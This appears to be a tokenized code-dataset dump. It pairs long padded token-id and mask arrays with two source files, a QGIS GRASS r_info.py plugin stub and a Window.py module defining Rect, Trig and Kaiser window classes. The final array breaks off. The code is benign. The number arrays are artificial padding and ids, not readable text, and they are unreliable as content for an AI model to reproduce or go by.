32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Gaia3D/QGIS
python/plugins/processing/algs/grass/ext/r_info.py
20
1212
# -*- coding: utf-8 -*- """ *************************************************************************** r_info.py --------------------- Date : December 2012 Copyright : (C) 2012 by Victor Olaya Email : volayaf at gmail dot com *************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * *************************************************************************** """ __author__ = 'Victor Olaya' __date__ = 'December 2012' __copyright__ = '(C) 2012, Victor Olaya' # This will get replaced with a git SHA1 when you do a git archive __revision__ = '$Format:%H$' import HtmlReportPostProcessor def postProcessResults(alg): HtmlReportPostProcessor.postProcessResults(alg)
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 17623, 272, 519, 63, 815, 14, 647, 272, 10652, 9858, 272, 6148, 463, 520, 1487, 26381, 6029, 272, 1898, 3322, 520, 334, 35, 9, 6029, 701, 6561, 630, 593, 817, 65, 272, 11426, 4483, 520, 5236, 1187, 2756, 737, 29712, 6308, 2414, 199, 17623, 199, 10, 17997, 627, 199, 10, 257, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 221, 627, 199, 10, 257, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 221, 627, 199, 10, 257, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 258, 627, 199, 10, 257, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 15530, 627, 199, 10, 17997, 627, 199, 17623, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 2201, 630, 593, 817, 65, 7, 199, 363, 602, 363, 275, 283, 872, 26381, 6029, 7, 199, 363, 7307, 363, 275, 8189, 35, 9, 6029, 12, 6561, 630, 593, 817, 65, 7, 199, 199, 3, 961, 911, 664, 8717, 543, 282, 6135, 12002, 17, 1380, 1265, 886, 282, 6135, 6359, 199, 199, 363, 5792, 363, 275, 4505, 3484, 2689, 40, 12913, 199, 199, 646, 20880, 7457, 6564, 10438, 421, 199, 318, 2963, 3498, 6579, 8, 6731, 304, 272, 20880, 7457, 6564, 10438, 14, 1932, 3498, 6579, 8, 6731, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 17623, 272, 519, 63, 815, 14, 647, 272, 10652, 9858, 272, 6148, 463, 520, 1487, 26381, 6029, 272, 1898, 3322, 520, 334, 35, 9, 6029, 701, 6561, 630, 593, 817, 65, 272, 11426, 4483, 520, 5236, 1187, 2756, 737, 29712, 6308, 2414, 199, 17623, 199, 10, 17997, 627, 199, 10, 257, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 221, 627, 199, 10, 257, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 221, 627, 199, 10, 257, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 258, 627, 199, 10, 257, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 15530, 627, 199, 10, 17997, 627, 199, 17623, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 2201, 630, 593, 817, 65, 7, 199, 363, 602, 363, 275, 283, 872, 26381, 6029, 7, 199, 363, 7307, 363, 275, 8189, 35, 9, 6029, 12, 6561, 630, 593, 817, 65, 7, 199, 199, 3, 961, 911, 664, 8717, 543, 282, 6135, 12002, 17, 1380, 1265, 886, 282, 6135, 6359, 199, 199, 363, 5792, 363, 275, 4505, 3484, 2689, 40, 12913, 199, 199, 646, 20880, 7457, 6564, 10438, 421, 199, 318, 2963, 3498, 6579, 8, 6731, 304, 272, 20880, 7457, 6564, 10438, 14, 1932, 3498, 6579, 8, 6731, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jpaasen/cos
framework/Window.py
1
5925
#from TypeExtensions import Ndarray from gfuncs import processArgs from mynumpy import pi, dot, cos, sin, exp #ones, complex, sin, linspace, exp, pi, dot, angle import mynumpy as np #from pylab import plot, subplot, xlabel, ylabel, grid, show, figure, ion, ioff class Window(np.Ndarray): def __new__(self, type='rect', **kwargs): from gfuncs import error if type == 'rect': return self.rect(self,kwargs) elif type == 'kaiser': return self.kaiser(kwargs) else: error(self, 'The window type %s is not recognised'%type) # # Configurable.__init__(self) # Operable.__init__(self) class Rect(np.Ndarray): def __new__(self, M=10, phi=0, normalised=True): # Create the window if phi == 0: win = np.ones( (M,), dtype=None ) / M else: wc = np.ones( M, dtype=complex ) # Window coefficients m = np.arange(0,M) # Create M indeces from 0 to 1 a = exp(-1j*2*pi*m*phi) # Steering vector ws = dot(wc, a) # Normalisation factor win = a * wc / ws # Steered and normalised window w = np.Ndarray.__new__(self, win) # axes=('M',), # desc = 'Rectangular (phi=%d)'%phi) # desc='Rectangular (phi=%d)'%phi, # shape_desc=('M','1')) return w class Trig(np.Ndarray): def __new__(self, M=10, a=0.54, phi=0, normalised=True): # Create the window if phi == 0: wc = a + (1-a)*np.cos(2*pi*np.linspace(-0.5,0.5,M)) win = wc / sum(wc) # Normalised window else: n = np.linspace(-0.5,0.5,M) wc = a + (1-a)*np.cos(2*pi*n) # Window coefficients m = np.arange(0,M) # Create M indeces from 0 to 1 aa = exp(-1j*2*pi*m*phi) # Steering vector ws = dot(wc, aa) # Normalisation factor win = aa * wc / ws # Steered and normalised window w = np.Ndarray.__new__(self, win) # axes=('M',), # desc = 'Rectangular (phi=%d)'%phi) # desc='Rectangular (phi=%d)'%phi, # shape_desc=('M','1')) return w class Kaiser(np.Ndarray): '''kaiser( M=10, beta=1, phi=0, normalised=True ) The Kaiser window is a taper formed by using a Bessel function. Parameters ---------- M (int) : Number of points in the output window. beta (float) : Shape parameter for window. phi (float) : Steering angle. normalised (boolean) : Use normalised window coefficients? ''' def __new__(self, M=10, beta=1, phi=0, normalised=True, inverted=False): if not inverted: if phi == 0: wc = np.kaiser(M, beta) # Window coefficients win = wc / sum(wc) # Normalised window else: wc = np.kaiser(M, beta) # Window coefficients m = np.arange(0,M) # Create M indeces from 0 to 1 a = exp(-1j*2*pi*m*phi) # Steering vector ws = dot(wc, a) # Normalisation factor win = a * wc / ws # Steered and normalised window else: if phi == 0: wc = 1 / np.kaiser(M, beta) # Window coefficients win = wc / sum(wc) # Normalised window else: wc = 1 / np.kaiser(M, beta) # Window coefficients m = np.arange(0,M) # Create M indeces from 0 to 1 a = exp(-1j*2*pi*m*phi) # Steering vector ws = dot(wc,a) # Normalisation factor win = a * wc / ws # Steered and normalised window w = np.Ndarray.__new__(self, win) # axes=('M',), # desc = 'Kaiser (beta=%d, phi=%d)'%(beta,phi)) # shape_desc=('M','1')) return w # def plot(self, **kwargs): # # # Set some default options # opts = {'magnitude':True, 'angle':False, 'grid':True, 'degrees':True} # # # Add the user-specified options # for key,val in kwargs.iteritems(): # if opts.has_key(key): # opts[key] = val # else: # opts[key] = val # print 'WW: Window.plot() - Supplied parameter '+key+' is unknown.' # # ion() # if opts['magnitude'] and opts['angle']: # figure() # subplot(2,1,1) # plot( abs(self.w) ) # xlabel( 'Channel #' ) # ylabel( 'Magnitude' ) # grid( opts['grid'] ) # # subplot(2,1,2) # plot( angle(self.w, deg=opts['degrees']) ) # xlabel( 'Channel #' ) # if opts['degrees']: # ylabel( 'Angle [degrees]' ) # else: # ylabel( 'Angle [radians]' ) # grid( opts['grid'] ) ## show() # # elif opts['magnitude']: # figure() # plot( abs(self.w) ) # xlabel( 'Channel #' ) # ylabel( 'Magnitude' ) # grid( opts['grid'] ) ## show() # # else: # figure() # plot( angle(self.w, deg=opts['degrees']) ) # xlabel( 'Channel #' ) # if opts['degrees']: # ylabel( 'Angle [degrees]' ) # else: # ylabel( 'Angle [radians]' ) # grid( opts['grid'] ) ## show() # ioff()
mit
[ 3, 504, 2434, 10597, 492, 653, 68, 1144, 199, 199, 504, 486, 9204, 492, 2112, 6213, 199, 199, 504, 333, 1236, 2085, 492, 6682, 12, 6308, 12, 9794, 12, 9829, 12, 1437, 327, 4548, 12, 6114, 12, 9829, 12, 7403, 2638, 12, 1437, 12, 6682, 12, 6308, 12, 9324, 199, 646, 333, 1236, 2085, 465, 980, 199, 3, 504, 19199, 492, 5137, 12, 1007, 2798, 12, 671, 1302, 12, 612, 1302, 12, 6068, 12, 2498, 12, 9658, 12, 31709, 12, 284, 1997, 421, 199, 533, 15689, 8, 1590, 14, 26947, 304, 2043, 347, 636, 1222, 721, 277, 12, 730, 534, 1201, 297, 1011, 958, 304, 489, 687, 486, 9204, 492, 1125, 489, 340, 730, 508, 283, 1201, 356, 268, 372, 291, 14, 1201, 8, 277, 12, 958, 9, 489, 916, 730, 508, 283, 75, 5789, 332, 356, 268, 372, 291, 14, 75, 5789, 332, 8, 958, 9, 489, 587, 26, 268, 1125, 8, 277, 12, 283, 1918, 4353, 730, 450, 83, 365, 440, 17319, 9096, 5956, 466, 9, 199, 3, 199, 3, 420, 4094, 15684, 855, 826, 721, 277, 9, 199, 3, 420, 6654, 461, 855, 826, 721, 277, 9, 199, 199, 533, 21536, 8, 1590, 14, 26947, 304, 2043, 347, 636, 1222, 721, 277, 12, 603, 29, 709, 12, 14524, 29, 16, 12, 3293, 9096, 29, 549, 304, 1467, 489, 327, 2790, 314, 4353, 489, 340, 14524, 508, 378, 26, 268, 4747, 275, 980, 14, 4548, 8, 334, 45, 4706, 2152, 29, 403, 776, 1182, 603, 489, 587, 26, 268, 21304, 260, 275, 980, 14, 4548, 8, 603, 12, 2152, 29, 5254, 776, 257, 327, 15689, 12343, 268, 333, 3515, 275, 980, 14, 5605, 8, 16, 12, 45, 9, 257, 327, 2790, 603, 31043, 823, 687, 378, 370, 413, 268, 282, 3515, 275, 1437, 2801, 17, 74, 10, 18, 10, 1038, 10, 77, 10, 10909, 9, 755, 327, 17854, 15663, 5477, 268, 10900, 260, 275, 6308, 8, 13683, 12, 282, 9, 10473, 327, 11514, 19914, 6535, 268, 4747, 260, 275, 282, 627, 21304, 1182, 10900, 4483, 327, 428, 15557, 581, 436, 3293, 9096, 4353, 881, 489, 336, 275, 980, 14, 26947, 855, 1222, 721, 277, 12, 4747, 9, 199, 3, 17388, 7824, 7782, 45, 5529, 199, 3, 17388, 4328, 275, 283, 8252, 11572, 334, 10909, 2458, 68, 3171, 5, 10909, 9, 199, 3, 17388, 4328, 534, 8252, 11572, 334, 10909, 2458, 68, 3171, 5, 10909, 12, 199, 3, 17388, 2215, 63, 3257, 7782, 45, 1673, 17, 1333, 489, 372, 336, 421, 199, 533, 12480, 71, 8, 1590, 14, 26947, 304, 2043, 347, 636, 1222, 721, 277, 12, 603, 29, 709, 12, 282, 29, 16, 14, 1477, 12, 14524, 29, 16, 12, 3293, 9096, 29, 549, 304, 1467, 489, 327, 2790, 314, 4353, 489, 340, 14524, 508, 378, 26, 268, 21304, 257, 275, 282, 435, 334, 17, 13, 65, 3342, 1590, 14, 5197, 8, 18, 10, 1038, 10, 1590, 14, 11649, 2801, 16, 14, 21, 12, 16, 14, 21, 12, 45, 430, 268, 4747, 221, 275, 21304, 1182, 3089, 8, 13683, 9, 7861, 327, 11514, 9096, 4353, 489, 587, 26, 268, 302, 259, 275, 980, 14, 11649, 2801, 16, 14, 21, 12, 16, 14, 21, 12, 45, 9, 268, 21304, 257, 275, 282, 435, 334, 17, 13, 65, 3342, 1590, 14, 5197, 